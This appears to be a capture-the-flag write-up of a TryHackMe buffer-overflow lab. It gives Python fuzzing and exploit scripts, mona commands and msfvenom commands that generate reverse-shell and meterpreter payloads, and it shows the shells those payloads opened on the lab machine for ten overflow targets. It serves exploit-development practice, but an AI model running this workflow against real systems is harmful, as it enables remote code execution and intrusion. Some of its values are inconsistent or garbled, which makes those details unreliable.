Buffer Overflow Prep

Date: 29, May, 2021

Author: Dhilip Sanjay S

Click Here to go to the TryHackMe room.

Connect to the machine using RDP:

$ xfreerdp /u:admin /p:password /v:MACHINE_IP /workarea /cert:ignore

Here spiking is not necessary, because we know that all the commands are vulnerable.

Scripts

Fuzzing

#! /usr/bin/python3

import socket, sys, time

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
payload = [
    prefix,
    b'A'*100,
]

while True:
        try:
                s = socket.socket()
                s.settimeout(timeout)
                s.connect((ip, port))
                s.recv(1024)
                s.send(b''.join(payload))
                print('Fuzzing with {} bytes'.format(len(payload[1])))
                s.recv(1024)
                s.close()
        except:
                print('Fuzzzing crashed at {} bytes'.format(len(payload[1])))
                exit(0)

        payload[1] += b'A'*100
        time.sleep(1)

Finding Offset & overwriting EIP

Generate pattern using pattern_create:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <LENGTH>

Find offset using pattern_offset:

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <LENGTH> -q <EIP_VALUE>

#! /usr/bin/python3

import socket, sys, time

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
pattern = b'PATTERN_GOES_HERE'


payload = [
    prefix,
    pattern,
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        print('Fuzzing with {} bytes'.format(len(payload) - len(prefix)))
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix)))
        exit(0)

Finding Bad chars

#! /usr/bin/python3

import socket, sys, time
import struct

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
offset = 2003

# 4 Bytes EIP
eip = b'B' * 4

# Generate Bad characters from 1 to 255 (256 will be exculded by range function)
badchars = b''.join([struct.pack('<B', x) for x in range(1,256)])

payload = [
    prefix,
    b'A' * offset,
    eip,
    badchars,
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix) - len(eip) - len(badchars)))

Finding Right Module

#! /usr/bin/python3

import socket, sys, time
import struct

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
offset = 2003

# 4 Bytes EIP
eip = b''.join([struct.pack('<I', 0x<ADDRESS_GOES_HERE>)])

payload = [
    prefix,
    b'A' * offset,
    eip,
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix) - len(eip)))

Shell code & Shell Access

#! /usr/bin/python3

import socket, sys, time
import struct

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
offset = 1337

# 4 Bytes EIP
eip = b''.join([struct.pack('<I', 0x625011af)])

nop_sled = b'\x90' * 32

buf =  b""  #SHELL CODE

shellcode = buf

payload = [
    prefix,
    b'A' * offset,
    eip,
    nop_sled,
    buf
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix) - len(eip) - len(nop_sled) - len(buf)))

OVERFLOW 1

Fuzzing

Crash occurred at 2000 bytes

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzzing crashed at 2000 bytes

Finding Offset & overwriting EIP

Generate Pattern of length 2500
EIP VALUE = 6F43396E
Exact match at offset 1978

Finding Bad chars

Find the bad chars using mona: \x00\x07\x2e\xa0

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x07\x2e\xa0"
JMP ESP address: 0x625011F7

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x07\x2e\xa0"
Don't forget to add nop sled.
Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49242
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami   
whoami
oscp-bof-prep\admin

OVERFLOW 2

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzzing crashed at 700 bytes

Finding Offset & overwriting EIP

Generate Pattern of length 1200
EIP VALUE = 76413176
Exact match at offset 634

Finding Bad chars

Find the bad chars manually: \x00\x23\x3c\x83\xba

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x23\x3c\x83\xba"
JMP ESP address: 0x625011BB

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x23\x3c\x83\xba"
Don't forget to add nop sled.
Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49276
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 3

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzzing crashed at 1300 bytes

Finding Offset & overwriting EIP

Generate Pattern of length 1800
EIP VALUE = 35714234
Exact match at offset 1274
Found using: mona findmsp -distance <pattern length>

 Message=    EIP contains normal pattern : 0x35714234 (offset 1274)

Finding Bad chars

Find the bad chars using mona: \x00\x11\x40\x5f\xb8\xee

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpp "\x00\x11\x40\x5f\xb8\xee"
JMP ESP address: 62501203 (Only two addresses were available!)

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -b "\x00\x11\x40\x5f\xb8\xee" -f py
Note: Meterpreter shell is larger in size
Don't forget to add nop sled.
Run the exploit & multi/handler in msfconsole:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89

[*] Meterpreter session 1 opened (10.17.7.91:1234 -> 10.10.26.89:49284) at 2021-05-29 21:47:33 +0530

meterpreter > shell
Process 1220 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 4

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzing with 2100 bytes
Fuzzzing crashed at 2100 bytes

Finding Offset & overwriting EIP

Generate Pattern of length 2600
EIP VALUE = 005c394a
Exact match at offset 2026

Finding Bad chars

Find the bad chars using mona: \x00\xa9\xcd\xd4

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\xa9\xcd\xd4"
JMP ESP address: 625011eb

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -b "\x00\xa9\xcd\xd4" -f p
Don't forget to add nop sled.
Run the exploit & msfconsole multi/handler:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89
[*] Meterpreter session 2 opened (10.17.7.91:1234 -> 10.10.26.89:49290) at 2021-05-29 22:10:09 +0530

meterpreter > shell
Process 3768 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 5

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzzing crashed at 400 bytes

Finding Offset & overwriting EIP

Generate Pattern of 1000
EIP VALUE = 356b4134
Exact match at offset 314

Finding Bad chars

Find the bad chars manually: \x00\x16\x2f\xf4\xfd

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x16\x2f\xf4\xfd"
JMP ESP address: 625011d3

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x16\x2f\xf4\xfd"
Don't forget to add nop sled.
Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49300
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 6

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzzing crashed at 1100 bytes

Finding Offset & overwriting EIP

Generate Pattern of 1600
EIP VALUE = 35694234
Exact match at offset 1034

Finding Bad chars

Find the bad chars using mona: \x00\x08\x2c\xad

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x08\x2c\xad"
JMP ESP address: 625011f7

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x08\x2c\xad"
Don't forget to add nop sled.
Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49304
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 7

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzzing crashed at 1400 bytes

Finding Offset & overwriting EIP

Generate Pattern of 2000
EIP VALUE = 72423572
Exact match at offset 1306

Finding Bad chars

Find the bad chars manually: \x00\x8c\xae\xbe\xfc

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x8c\xae\xbe\xfc"
JMP ESP address: 62501203

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -f py -b "\x00\x8c\xae\xbe\xfc"
Don't forget to add nop sled.
Run the exploit & multi/handler:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89
[*] Meterpreter session 1 opened (10.17.7.91:1234 -> 10.10.26.89:49322) at 2021-05-29 23:40:43 +0530

meterpreter > shell
Process 2584 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 8

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzzing crashed at 1800 bytes

Finding Offset & overwriting EIP

Generate Pattern of 2300
EIP VALUE = 68433568
Exact match at offset 1786

Finding Bad chars

Find the bad chars using mona: \x00\x1d\x2e\xc7\xee

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x1d\x2e\xc7\xee"
JMP ESP address: 62501205

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -f py -b "\x00\x1d\x2e\xc7\xee"
Don't forget to add nop sled.
Run the exploit & multi/handler:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89
[*] Meterpreter session 2 opened (10.17.7.91:1234 -> 10.10.26.89:49324) at 2021-05-29 23:55:17 +0530

meterpreter > shell
Process 748 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 9

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzzing crashed at 1600 bytes

Finding Offset & overwriting EIP

Generate Pattern of length 2000
EIP VALUE = 35794234
Exact match at offset

Finding Bad chars

Find the bad chars using mona: \x00\x04\x3e\x3f\xe1
Note: \x3f is not bad char (but the answer in tryhackme required 5 chars)

On rerunning the script, I found that x3f is bad. So, it also affected \x40. (This can be done by setting \x3e to some non-bad characters).
So, if two bad characters are adjacent, it cannot be determined in a single test. We have to run the exploit multiple times to detect that!

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x04\x3e\x3f\xe1"
JMP ESP address: 625011c7

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x04\x3e\x3f\xe1"
Don't forget to add nop sled.
Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49333
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 10

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzzing crashed at 600 bytes

Finding Offset & overwriting EIP

Generate Pattern of 1000
EIP VALUE = 41397241
Exact match at offset 537

Finding Bad chars

Find the bad chars using mona: \x00\xa0\xad\xbe\xde\xef

Finding Right Module

Find the right module using: !mona modules
Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "!mona jmp -r esp -m essfunc.dll -cpb \x00\xa0\xad\xbe\xde\xef"
JMP ESP address: 625011af

Shell code & Shell Access

Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\xa0\xad\xbe\xde\xef"
Don't forget to add nop sled.
Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49335
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

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